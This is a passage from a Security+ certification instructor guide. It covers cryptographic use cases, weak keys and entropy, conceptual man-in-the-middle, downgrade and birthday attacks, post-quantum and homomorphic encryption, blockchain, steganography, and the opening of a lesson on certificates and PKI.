recipient can calculate his or her own digest of the message and compare it to the
signed hash to validate that the message has not been altered.

2. In a digital envelope, which key encrypts the session key?

The recipient's public key (typically from the server's key pair).

3. True or False? Perfect forward secrecy (PFS) ensures that a compromise of a

server's private key will not also put copies of traffic sent to that server in
the past at risk of decryption.

True. PFS ensures that ephemeral keys are used to encrypt each session. These keys
are destroyed after use.

4. Why does Diffie-Hellman underpin perfect forward secrecy (PFS)?

Diffie-Hellman allows the sender and recipient to derive the same value (the session
key) from some other pre-agreed values. Some of these are exchanged, and some kept
private, but there is no way for a snooper to work out the secret just from the publicly
exchanged values. This means session keys can be created without relying on the
server's private key, and that it is easy to generate ephemeral keys that are different
for each session.

5. What type of bulk encryption cipher mode of operation offers the best
security?

Generally, counter modes implementing Authenticated Encryption with Additional Data

(AEAD). Specific examples include AES-GCM and ChaCha20-Poly1305.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 111

Topic 5C
Summarize Cryptographic Use
Cases and Weaknesses

EXAM OBJECTIVES COVERED Teaching

1.2 Given a scenario, analyze potential indicators to determine the type of attack Tip
2.8 Summarize the basics of cryptographic concepts Having established the
types of cryptographic
function and the use
There are many individual symmetric and asymmetric cipher algorithms and hash of hybrid encryption,
functions. Characteristics of these ciphers make them better suited to meeting this topic covers use
constraints, such as use on battery-powered devices. Some of the ciphers and cases, limitations,
implementations of ciphers within products can exhibit weaknesses that make them and weaknesses.
unsuitable for use. It is important that you be able to summarize these use cases and We also look at the
cryptographic attacks
weaknesses so that you can deploy controls that are fit for purpose.
content examples
from objective 1.2.
Cryptography Supporting Authentication and Show Slide(s)
Non-Repudiation
Cryptography
A single hash function, symmetric cipher, or asymmetric cipher is called a
Supporting
cryptographic primitive. A complete cryptographic system or product is likely to Authentication and
use multiple cryptographic primitives, such as within a cipher suite. The properties Non-Repudiation
of different symmetric/asymmetric/hash types and of specific ciphers for each type
impose limitations on their use in different contexts and for different purposes. Teaching
Tip
If you are able to encrypt a message in a particular way, it follows that the recipient
of the message knows with whom he or she is communicating (that is, the sender This section and the
next aim to reinforce
is authenticated). This means that encryption can form the basis of identification, the content presented
authentication, and access control systems. in the previous topic. If
students have formed
a good understanding
of the way digital
signatures and hybrid
encryption support
these use cases, you
can skip this section
and the one on
confidentiality and
consider resiliency and
performance issues.

Encryption allows subjects to identify and authenticate themselves. The subject could
be a person, or a computer such as a web server.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 112 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Non-repudiation is linked to identification and authentication. It is the concept that the

sender cannot deny sending the message. If the message has been encrypted in a way
known only to the sender, it follows that the sender must have composed it.
Authentication and non-repudiation depend on the recipient not being able to encrypt
the message, or the recipient would be able to impersonate the sender. This means
that to support authentication and repudiation, recipients must be able to use the
cryptographic process to decrypt authentication and integrity data, but not to encrypt
it. This use case is supported by asymmetric encryption ciphers and public/private
key pairs.
To use a key pair, the user or server generates the linked keys. The private key is stored
securely and protected from use by others by the account password. It is critical that
only the user or server be able to use the private key. The public key is given to clients
or correspondents, usually in the form of a digital certificate.
When the user or server needs to authenticate, it encrypts some agreed hashed data
using the private key and sends it to the client as a digital signature. The client should
be able to decrypt the signature using the public key and derive the same hash value.

Show Slide(s) Cryptography Supporting Confidentiality

Cryptography
Cryptography removes the need to store or transfer messages over secure media. It
Supporting does not matter if a ciphertext is stolen or intercepted because the threat actor will
Confidentiality not be able to understand or change what has been stolen. This use of cryptography
fulfils the goal of confidentiality. For this use case, you cannot simply use asymmetric
encryption and private/public key pairs, because the algorithm cannot encrypt large
amounts of data efficiently. For example, the RSA asymmetric cipher has a maximum
message size of the key size (in bytes) minus 11. A key size of 2048 bits allows a
maximum message size of 245 bytes: (2048/8) - 11. The computational overhead of
using this type of algorithm to encrypt the contents of a disk or stream of network
traffic is far too high.
Therefore, bulk data encryption uses a symmetric cipher, such as AES. A symmetric
cipher can encrypt and decrypt data files and streams of network traffic quickly. The
problem is that distributing a symmetric key securely is challenging. The more people
who know the key value, the weaker the confidentiality property is. The risks of a threat
actor obtaining the key grow exponentially. Luckily, symmetric keys are only 128 bits
or 256 bits long, and so can easily be encrypted using a public key. Consequently, most
cryptographic systems use both symmetric and asymmetric encryption.
Encryption supporting confidentiality is used for both data-at-rest (file encryption) and
data-in-transit (transport encryption):
• File encryption—the user is allocated an asymmetric cipher key pair. The private
key is written to secure storage—often a trusted platform module (TPM)—and is
only available when the user has authenticated to his or her account. The public
key is used to encrypt a randomly generated AES cipher key. When the user tries
to encrypt or decrypt files, the AES cipher key is decrypted using the private key to
make it available for the encryption or decryption operation.

• Transport encryption—this uses either digital envelopes or perfect forward secrecy.

For HTTPS, a web server is allocated a key pair and stores the private key securely.
The public key is distributed to clients via a digital certificate. The client and server
use the key pair to exchange or agree on one or more AES cipher keys to use as
session keys.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 113

Cryptography Supporting Integrity and Resiliency Show Slide(s)

Integrity is proved by hashing algorithms, which allow two parties to derive the same Cryptography
checksum and show that a message or data has not been tampered with. A basic hash Supporting Integrity
function can also be used with a shared secret to create a message authentication and Resiliency
code (MAC), which prevents a man-in-the-middle tampering with the checksum.
Teaching
As well as providing integrity at the level of individual messages, cryptography can be Tip
used to design highly resilient control systems. A control system is one with multiple
GCHQ’s Dr Ian Levy's
parts, such as sensors, workstations, and servers, and complex operating logic. Such article on designing
a system is resilient if compromise of a small part of the system is prevented from the security system
allowing compromise of the whole system. Cryptography assists this goal by ensuring for smart meters in
the authentication and integrity of messages delivered over the control system. the UK (ncsc.gov.
uk/information/
Integrity and resiliency are also an issue for computer code. If a threat actor has the-smart-security-
administrator privileges, they can change the operation of legitimate code to make it behind-the-gb-smart-
work as malware. A developer can make tampering more difficult using obfuscation. metering-system) is a
Obfuscation is the art of making a message difficult to understand. Obfuscated source good example of some
of the considerations
code is rewritten in a way that does not affect the way the computer compiles or that go into the design
executes the code, but makes it difficult for a person reading the code to understand of a highly resilient
how it works. system.
Cryptography is a very effective way of obfuscating a message, but unfortunately, it
is too effective in the case of source code because it also means the code cannot be
understood (executed) by the computer. At some point, the code must be decrypted to
be executed. The key used for decryption usually needs to be bundled with the source
code, and this means that you are relying on security by obscurity rather than strong
cryptography. Attempts to protect an embedded key while preserving the functionality
of the code—known as white box cryptography—have all been broken. There are no
commercial solutions currently available to overcome this problem, but the subject is
one of much research interest.

Cryptographic Performance Limitations Show Slide(s)

Differences between ciphers make them more or less useful for resource-constrained Cryptographic
environments. The main performance factors are as follows: Performance
Limitations
• Speed—for symmetric ciphers and hash functions, speed is the amount of data per
second that can be processed. Asymmetric ciphers are measured by operations per Teaching
second. Speed has the most impact when large amounts of data are processed. Tip
• Time/latency—for some use cases, the time required to obtain a result is more The syllabus places
a lot of emphasis on
important than a data rate. For example, when a secure protocol depends on
limitations and use
ciphers in the handshake phase, no data transport can take place until the cases, so make sure
handshake is complete. This latency, measured in milliseconds, can be critical to students understand
performance. these factors.

• Size—the security of a cipher is strongly related to the size of the key, with longer
keys providing better security. Note that the key size cannot be used to make
comparisons between algorithms. For example, a 256-bit ECC key is stronger than
a 2048-bit RSA key. Larger keys will increase the computational overhead for each
operation, reducing speed and increasing latency.

• Computational overheads—in addition to key size selection, different ciphers

have unique performance characteristics. Some ciphers require more CPU and
memory resources than others, and are less suited to use in a resource-constrained
environment.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 114 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

In selecting a product or individual cipher for a particular use case, a tradeoff must
be achieved between the demand for the best security available and the resources
available for implementation.
• Low power devices—some technologies or ciphers configured with longer keys
require more processing cycles and memory space. This makes them slower
and means they consume more power. Consequently, some algorithms and key
strengths are unsuitable for handheld devices and embedded systems, especially
those that work on battery power. Another example is a contactless smart card,
where the card only receives power from the reader and has fairly limited storage
capacity, which affects the maximum key size supported.

• Low latency uses—this can impact protocol handshake setup times. A longer
Show Slide(s) handshake will manifest as delay for the user, and could cause timeout issues
with some applications. Also, if cryptography is deployed with a real time-sensitive
Cryptographic Security channel, such as voice or video, the processing overhead on both the transmitter
Limitations and receiver must be low enough not to impact the quality of the signal.
Teaching
Tip Cryptographic Security Limitations
You can illustrate a
weak key problem Resource constraints may require you to make a tradeoff between security and
by referencing the performance, but you cannot trade too far.
Debian OpenSSL
vulnerability. Two lines Entropy and Weak Keys
of code in Debian's
OpenSSL package Entropy is a measure of disorder. A plaintext will usually exhibit low entropy as
were removed when it represents a message in a human language or programming language or data
highlighted by a
debugging application.
structure. The plaintext must be ordered for it to be intelligible to a person, computer
These two lines processor, or database. One of the requirements of a strong cryptographic algorithm is
were responsible to produce a disordered ciphertext. Put another way, the ciphertext must exhibit a high
for ensuring that level of entropy. If any elements of order from the plaintext persist, it will make the
the keyspace was ciphertext vulnerable to cryptanalysis, and the algorithm can be shown to be weak.
large and random.
Consequently, for It is important to realize that just because an algorithm, such as AES, is considered
two years, Debian strong does not mean that the implementation of that cipher in a programming library
OpenSSL servers is also strong. The implementation may have weaknesses. It is vital to monitor the
using this patch were
status of this type of programming code and apply updates promptly. If a weakness
generating keys from
a range of about is revealed, any keys issued under the weak version must be replaced and data re-
32,000. Another encrypted.
example is the NSA-
inserted backdoor in A weak key is one that produces ciphertext that is lower entropy than it should be. If
a RNG proposed for a key space contains weak keys, the technology using the cipher should prevent use
use with ECC (isaca. of these keys. DES and RC4 are examples of algorithms known to have weak keys. The
org/resources/isaca- way a cipher is implemented in software may also lead to weak keys being used. An
journal/issues/2016/ example of this is a bug in the pseudo-random number generator for the OpenSSL
volume-3/can-elliptic-
server software for Debian Linux, discovered in 2008 (wiki.debian.org/SSLkeys). A
curve-cryptography-
be-trusted-a-brief- weak number generator leads to many published keys sharing a common factor. A
analysis-of-the- cryptanalyst can test for the presence of these factors and derive the whole key much
security-of-a-popular- more easily. Consequently, the true random number generator (TRNG) or pseudo
cryptosyste). RNG (PRNG) module in the cryptographic implementation is critical to its strength.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 115

Pseudo RNG working during key generation using GPG.

This method gains entropy from user mouse and keyboard usage.

You can read more about true versus pseudo random number generation at random.org.

Predictability and Reuse

Predictability is a weakness in either the cipher operation or within particular key values
that make a ciphertext lower entropy and vulnerable to cryptanalysis. Reuse of the
same key within the same session can cause this type of weakness. The RC4 stream
cipher and some chained block modes of operation are not as secure as other cipher
modes, because they exhibit predictability. Often, it is necessary to use an additional
random or pseudo-random value in conjunction with the cipher:
• Nonce—the principal characteristic of a nonce is that it is never reused ("number
used once") within the same scope (that is, with the same key value). It could be a
random or pseudo-random value, or it could be a counter value.

• Initialization vector (IV)—the principal characteristic of an IV is that it be random (or

pseudo-random). There may also be a requirement that an IV not be reused (as with
a nonce), but this is not the primary characteristic.

• Salt—this is also a random or pseudo-random number or string. The term salt is

used specifically in conjunction with hashing password values.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 116 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Longevity and Cryptographic Attacks

Longevity and Use of weak cipher suites and implementations can represent a critical vulnerability for
Cryptographic Attacks an organization. It means that data that it is storing and processing may not be secure.
It may also allow a malicious attacker to masquerade as it by creating spoofed digital
Teaching certificates, causing huge reputational damage.
Tip
Weaknesses in certain ciphers make some unsafe to use and some that are considered
You might refer likely to be unsafe in the near-term or medium-term future. In one sense, longevity
to Schneier's Law
(schneier.com/blog/ is a measure of the confidence that people have in a given cipher. Cryptanalysis is
archives/2011/04/ undertaken on encryption systems with the purpose of trying to detect weaknesses.
schneiers_law.html). However, if weaknesses discovered in a particular cipher or the implementation of a
cipher under research conditions lead to the deprecation of that algorithm, that does
not necessarily mean that the system is immediately vulnerable in practice.
RC4 and DES/3DES are already deprecated. RSA is seen as approaching the end of its
usefulness, with ECC and other algorithms offering better security and performance
characteristics (thesslstore.com/blog/is-it-still-safe-to-use-rsa-encryption). MD5 and
SHA-1 have known weaknesses, but are not necessarily unsecure if compatibility is an
overriding concern.
In another sense, longevity is the consideration of how long data must be kept secure.
If you assume that a ciphertext will be exposed at some point, how long must that
ciphertext resist cryptanalysis? For example, imagine an NSA operative's laptop
is stolen. The thief cannot hope to break the encryption with current computing
resources, but how long must that encryption mechanism continue to protect the
data? If advances in cryptanalysis will put it at risk within 5 years, or 10 years, or 20
years, could a more secure algorithm have been chosen? There is always a tradeoff
among security, cost, and interoperability. Malicious mathematical attacks are difficult
to launch, and the chances of success against up-to-date, proven technologies and
standards are remote. If a deprecated algorithm is in use, there is no need for panic,
but there will be a need for a plan to closely monitor the affected systems and to
transition to better technologies as quickly as is practical.

Show Slide(s) Man-in-the-Middle and Downgrade Attacks

Man-in-the-Middle and
Some attacks depend on capturing the communications between two parties. They do
Downgrade Attacks not break the cryptographic system but exploit vulnerabilities in the way it is used. A
man-in-the-middle (MITM) attack is typically focused on public key cryptography.
1. Mallory eavesdrops the channel between Alice and Bob and waits for Alice to
request Bob's public key.

2. Mallory intercepts the communication, retaining Bob's public key, and sends his
own public key to Alice.

3. Alice uses Mallory's key to encrypt a message and sends it to Bob.

4. Mallory intercepts the message and decrypts it using his private key.

5. Mallory then encrypts a message (possibly changing it) with Bob's public
key and sends it to Bob, leaving Alice and Bob oblivious to the fact that their
communications have been compromised.

This attack is prevented by using secure authentication of public keys, such as

associating the keys with certificates. This should ensure that Alice rejects Mallory's
public key.
A downgrade attack can be used to facilitate a man-in-the-middle attack by
requesting that the server use a lower specification protocol with weaker ciphers and
key lengths. For example, rather than use TLS 1.3, as the server might prefer, the client

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 117

requests the use of SSL. It then becomes easier for Mallory to forge the signature of a
certificate authority that Alice trusts and have Alice trust his public key.

Key Stretching and Salting Show Slide(s)

Entropy is a concern whenever a cryptographic system makes use of user-generated Key Stretching and
data, such as a password. Users tend to select low entropy passwords, because they Salting
are easier to remember. A couple of technologies try to compensate for this.

Key Stretching
Key stretching takes a key that's generated from a user password and repeatedly
converts it to a longer and more random key. The initial key may be put through
thousands of rounds of hashing. This might not be difficult for the attacker to replicate
so it doesn't actually make the key stronger, but it slows the attack down, as the
attacker has to do all this extra processing for each possible key value. Key stretching
can be performed by using a particular software library to hash and save passwords
when they are created. The Password-Based Key Derivation Function 2 (PBKDF2) is
very widely used for this purpose, notably as part of Wi-Fi Protected Access (WPA).

Salting
Passwords stored as hashes are vulnerable to brute force and dictionary attacks. A
password hash cannot be decrypted; hash functions are one-way. However, an attacker
can generate hashes to try to find a match for password hash captured from network
traffic or password file. A brute force attack simply runs through every possible
combination of letters, numbers, and symbols. A dictionary attack creates hashes of
common words and phrases.
Both these attacks can be slowed down by adding a salt value when creating the hash,
so you compute:
(salt + password) * SHA = hash
The salt is not kept secret, because any system verifying the hash must know the value
of the salt. It simply means that an attacker cannot use pre-computed tables of hashes.
The hash values must be recompiled with the specific salt value for each password.

Collisions and the Birthday Attack Show Slide(s)

A birthday attack is a type of brute force attack aimed at exploiting collisions in Collisions and the
hash functions. A collision is where a function produces the same hash value for two Birthday Attack
different plaintexts. This type of attack can be used for the purpose of forging a digital
signature. The attack works as follows:
1. The attacker creates a malicious document and a benign document that produce
the same hash value. The attacker submits the benign document for signing by
the target.

2. The attacker then removes the signature from the benign document and adds it
to the malicious document, forging the target's signature.

The trick here is being able to create a malicious document that outputs the same hash
as the benign document. The birthday paradox means that the computational time
required to do this is less than might be expected. The birthday paradox asks how large
must a group of people be so that the chance of two of them sharing a birthday is 50%.
The answer is 23, but people who are not aware of the paradox often answer around
180 (365/2). The point is that the chances of someone sharing a particular birthday are
small, but the chances of any two people sharing any birthday get better and better as
you add more people: 1 – (365 * (365-1) * (365 – 2) ... * (365 – (N-1)/365N)

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 118 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

To exploit the paradox, the attacker creates multiple malicious and benign documents,
both featuring minor changes (punctuation, extra spaces, and so on). Depending on the
length of the hash and the limits to the non-suspicious changes that can be introduced,
if the attacker can generate sufficient variations, then the chance of matching hash
outputs can be better than 50%.
This means that to protect against the birthday attack, encryption algorithms must
demonstrate collision avoidance (that is, to reduce the chance that different inputs
will produce the same output). To exploit the birthday paradox, the attacker generally
has to be able to manipulate both documents/messages, referred to as a chosen prefix
attack (sha-mbles.github.io). The birthday paradox method has been used successfully
to exploit collisions in the MD5 function to create fake digital certificates that appear
to have been signed by a certificate authority in a trusted root chain (trailofbits.files.
wordpress.com/2012/06/flame-md5.pdf).

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 119

Review Activity:
Cryptographic Use
Cases and Weaknesses
Answer the following questions:

1. True or false? Cryptography is about keeping things secret so they cannot

be used as the basis of a non-repudiation system.

False—the usages are not exclusive. There are different types of cryptography and
some can be used for non-repudiation. The principle is that if an encryption method
(cipher and key) is known only to one person, that person cannot then deny having
composed a message. This depends on the algorithm design allowing recipients to
decrypt the message but not encrypt it.

2. How can cryptography support high resiliency?

A complex system might have to support many inputs from devices installed to
potentially unsecure locations. Such a system is resilient if compromise of a small
part of the system is prevented from allowing compromise of the whole system.
Cryptography assists this goal by ensuring the authentication and integrity of messages
delivered over the control system.

3. For which types of system will a cipher suite that exhibits high latency
be problematic?

High latency is not desirable in any system really, but it will affect real-time protocols
that exchange voice or video most. In network communications, latency makes the
initial protocol handshake longer, meaning delay for users and possible application
timeout issues.

4. What is the relevance of entropy to cryptographic functions?

Entropy is a measure of how disordered something is. A disordered ciphertext is

desirable, because remaining features of order from the plaintext make the ciphertext
vulnerable to analysis. Identical plaintexts need to be initialized with random or
counter values when encrypted by the same key, and the cryptosystem needs a source
of randomness to generate strong keys.

5. Your company creates software that requires a database of stored

encrypted passwords. What security control could you use to make the
password database more resistant to brute force attacks?

Using a key stretching password storage library, such as PBKDF2, improves resistance
to brute-force cracking methods. You might also mention that you could use policies to
make users choose longer, non-trivial passwords.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 120 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 5D
Summarize Other
Cryptographic Technologies

Teaching EXAM OBJECTIVES COVERED

Tip 2.8 Summarize the basics of cryptographic concepts
This topic collects the
remaining content
examples from
objective 2.8. While
The landscape for developing and using cryptographic processes is continually
students need to know evolving. As a security professional, it is important that you keep up to date with these
these for the exam, trends so that you can recognize new opportunities for implementing better security
they are not critical controls and threats to existing controls caused by technological progress.
to understanding
authentication
and authorization Quantum and Post-Quantum
technologies. If
students are feeling Quantum refers to computers that use properties of quantum mechanics to
overloaded, you may significantly out-perform classical computers at certain tasks.
want to skip this topic
or leave it to later in Computing
the course.
A quantum computer performs processing on units called qubits (quantum bits). A
Show Slide(s)
qubit can be set to 0 or 1 or an indeterminate state called a superposition, where there
is a probability of it being either 1 or 0. The likelihood can be balanced 50/50 or can
Quantum and Post- be weighted either way. The power of quantum computing comes from the fact that
Quantum
qubits can be entangled. When the value of a qubit is read, it collapses to either 1
or 0, and all other entangled qubits collapse at the same time. The strength of this
architecture is that a single operation can utilize huge numbers of state variables
represented as qubits, while a classical computer's CPU must go through a read,
execute, write cycle for each bit of memory. This makes quantum very well-suited
to solving certain tasks, two of which are the factoring problem that underpins RSA
encryption and the discrete algorithm problem that underpins ECC.

Communications
While quantum computing could put the strength of current cryptographic ciphers
at risk, it also has the promise of underpinning more secure cryptosystems. The
properties of entanglement, superposition, and collapse suit the design of a tamper-
evident communication system that would allow secure key agreement.

Post-Quantum
Post-quantum refers to the expected state of computing when quantum computers
that can perform useful tasks are a reality. Currently, the physical properties of qubits
and entanglement make quantum computers very hard to scale up. At the time of
writing, the most powerful quantum computers have about 50 qubits. A quantum
computer will need about a million qubits to run useful applications.
No one can predict with certainty if or when such a computer will be implemented.
In the meantime, NIST is running a project to develop cryptographic ciphers that

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 121

are resistant to cracking even by quantum computers (csrc.nist.gov/Projects/Post-

Quantum-Cryptography).
More generally, cryptographic agility refers to an organization's ability to update the
specific algorithms used across a range of security products without affecting the
business workflows that those products support (cryptosense.com/blog/achieving-
crypto-agility).

Lightweight Cryptography
Another problem affecting current cryptographic ciphers is use on low-power devices.
NIST is hoping that a compact cipher suite will be be developed that is both quantum
resistant and that can run on battery-powered devices with minimal CPU and memory
resources (csrc.nist.gov/projects/lightweight-cryptography).

Homomorphic Encryption Show Slide(s)

Homomorphic encryption is principally used to share privacy-sensitive data sets. Homomorphic

When a company collects private data, it is responsible for keeping the data secure and Encryption
respecting the privacy rights of individual data subjects. Companies often want to use
third parties to perform analysis, however. Sharing unencrypted data in this scenario Teaching
is a significant risk. Homomorphic encryption is a solution for this use case because Tip
it allows the receiving company to perform statistical calculations on fields within the We're keeping this
data while keeping the data set as a whole encrypted. For example, if you want to here as part of
perform analytics on customer interactions, an analysis tool will be able to sum logons objective 2.8, but note
without any account identifiers like email addresses ever being decrypted. that it relates more
to data privacy, which
we'll get to later in the
Blockchain course.

Blockchain is a concept in which an expanding list of transactional records is secured Show Slide(s)
using cryptography. Each record is referred to as a block and is run through a hash
function. The hash value of the previous block in the chain is added to the hash Blockchain
calculation of the next block in the chain. This ensures that each successive block is
cryptographically linked. Each block validates the hash of the previous block, all the way
through to the beginning of the chain, ensuring that each historical transaction has not
been tampered with. In addition, each block typically includes a timestamp of one or
more transactions, as well as the data involved in the transactions themselves.
The blockchain is recorded in a public ledger. This ledger does not exist as an individual
file on a single computer; rather, one of the most important characteristics of a
blockchain is that it is decentralized. The ledger is distributed across a peer-to-peer Show Slide(s)
(P2P) network in order to mitigate the risks associated with having a single point
of failure or compromise. Blockchain users can therefore trust each other equally.
Steganography
Likewise, another defining quality of a blockchain is its openness—everyone has the
same ability to view every transaction on a blockchain. Teaching
Blockchain technology has a variety of potential applications. It can ensure the integrity Tip
and transparency of financial transactions, online voting systems, identity management There are various
systems, notarization, data storage, and more. However, blockchain is still an emerging software applications
technology, and outside of cryptocurrencies, has not yet been adopted on a wide- for inserting
and detecting
ranging scale. steganographic
messages. When
Steganography hiding messages in
files, a substitution
technique such as
Steganography (literally meaning "hidden writing") is a technique for obscuring the
least significant bit is
presence of a message. Typically, information is embedded where you would not preferable to simply
expect to find it; a message hidden in a picture, for instance. The container document inserting a message
or file is called the covertext. A steganography tool is software that either facilitates this as it does not alter the
file size.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 122 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

or conversely that can be used to detect the presence of a hidden message within
a covertext.
When used to conceal information, steganography amounts to "security by obscurity,"
which is usually deprecated. However, a message can be encrypted by some
mechanism before embedding it, providing confidentiality. The technology can also
provide integrity or non-repudiation; for example, it could show that something was
printed on a particular device at a particular time, which could demonstrate that it was
genuine or a fake, depending on context.
One example of steganography is to encode messages within TCP packet data fields to
create a covert message channel. Another approach is to change the least significant
bit of pixels in an image file. This can code a useful amount of information without
distorting the original image noticeably. Similar techniques can be used with other
media types as cover files, such as audio and video files.
These methods might be used for command and control or to exfiltrate data covertly,
bypassing protection mechanisms such as data loss prevention (DLP) (blog.trendmicro.
com/trendlabs-security-intelligence/steganography-and-malware-concealing-code-and-
cc-traffic/). Future developments may see use of steganography in streaming media or
voiceover IP (VoIP).

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 123

Review Activity:
Other Cryptographic Technologies
Answer the following questions:

1. Which cryptographic technology is most useful for sharing medical records

with an analytics company?

Homomorphic encryption allows calculations to be performed while preserving privacy

and confidentiality by keeping the data encrypted.

2. You are assisting a customer with implementing data loss prevention

(DLP) software. Of the two products left in consideration, one supports
steganalysis of image data, but the other does not. What is the risk of
omitting this capability?

A threat actor could conceal information within an image file and use that to
bypass the DLP system. One thing to note is that attackers could find other ways to
implement covertexts (audio or video, for instance) or abuse protocol coding. There
are many things that steganalysis needs to be able to scan for! You might also note
that steganography is not only a data exfiltration risk. It can also be used to smuggle
malicious code into a host system.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 124 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 5
Summary
Teaching You should be able to summarize types of cryptographic function (hash algorithm,
Tip symmetric cipher, asymmetric cipher) and explain how they are used in hybrid
Check that students encryption products to provide confidentiality, integrity, authentication, and resiliency.
are confident about You should also be able to identify limitations and weaknesses, plus common types of
the content that has cryptographic attacks. Finally, you should be able to summarize other concepts, such as
been covered. If there quantum, blockchain, homomorphic encryption, and steganography.
is time, revisit any
content examples that
they have questions
about. If you have
used all the available
time for this lesson
block, note the issues,
and schedule time for
a review later in the
course.

Lesson 5: Summarizing Basic Cryptographic Concepts

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 6
Implementing Public Key Infrastructure

LESSON INTRODUCTION Teaching

Tip
Digital certificates and public key infrastructure (PKI) are critical services used to This lesson focuses
manage identification, authentication, and data confidentiality across most private and on the practical side
public networks. It is important that you understand the types of certificate that can be of implementing
issued and are able to apply effective management principles when configuring and cryptographic
supporting these systems. infrastructure. You
will be returning to
the actual systems
Lesson Objectives that use cryptography
(authentication, SSL/
In this lesson, you will: TLS, VPN, WPA, and
so on) throughout the
• Implement certificates and certificate authorities. rest of the course.

• Implement PKI management.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 126 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 6A
Implement Certificates and
Certificate Authorities

Teaching EXAM OBJECTIVES COVERED

Tip 3.9 Given a scenario, implement public key infrastructure
As the previous lesson
covered a lot of
theory, you may prefer
to focus more on labs
A digital certificate is a public assertion of identity, validated by a certificate authority
for this topic. Most of (CA). As well as asserting identity, certificates can be issued for different purposes, such
the content examples as protecting web server communications or signing messages. Issuing certificates is
are straightforward. likely to be an important part of your day-to-day role as a security administrator.

Show Slide(s) Public and Private Key Usage

Public and Private Key
Public key cryptography solves the problem of distributing encryption keys when you
Usage want to communicate securely with others or authenticate a message that you send to
others.
Teaching
• When you want others to send you confidential messages, you give them your
Tip
public key to use to encrypt the message. The message can then only be decrypted
This is a quick recap of
by your private key, which you keep known only to yourself.
the previous lesson.
Be sure that students
• When you want to authenticate yourself to others, you create a signature and sign
grasp the use of public
and private keys it by encrypting the signature with your private key. You give others your public key
before attempting to to use to decrypt the signature. As only you know the private key, everyone can be
move on. assured that only you could have created the signature.

The basic problem with public key cryptography is that you may not really know with
whom you are communicating. The system is vulnerable to man-in-the-middle attacks.
This problem is particularly evident with e-commerce. How can you be sure that a
shopping site or banking service is really maintained by whom it claims? The fact that
the site is distributing public keys to secure communications is no guarantee of actual
identity. How do you know that you are corresponding directly with the site using
its certificate? How can you be sure there isn't a man-in-the-middle intercepting and
modifying what you think the legitimate server is sending you?
Public key infrastructure (PKI) aims to prove that the owners of public keys are
who they say they are. Under PKI, anyone issuing public keys should obtain a digital
certificate. The validity of the certificate is guaranteed by a certificate authority (CA).
The validity of the CA can be established using various models.

Show Slide(s) Certificate Authorities

Certificate Authorities
The certificate authority (CA) is the entity responsible for issuing and guaranteeing
certificates. Private CAs can be set up within an organization for internal
communications. Most network operating systems, including Windows Server, have
certificate services. For public or business-to-business communications, however, the

Lesson 6: Implementing Public Key Infrastructure | Topic 6A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 127

CA must be trusted by each party. Third-party CA services include IdenTrust, Digicert,

Sectigo/Comodo, GoDaddy, and GlobalSign. The functions of a CA are as follows:
• Provide a range of certificate services useful to the community of users serviced by
the CA.

• Ensure the validity of certificates and the identity of those applying for them
(registration).

• Establish trust in the CA by users and government and regulatory authorities and
enterprises, such as financial institutions.

• Manage the servers (repositories) that store and administer the certificates.

• Perform key and certificate lifecycle management, notably revoking invalid

certificates.

Microsoft Windows Server CA. (Screenshot used with permission from Microsoft.)

PKI Trust Models Show Slide(s)

The trust model is a critical PKI concept, and shows how users and different CAs are PKI Trust Models
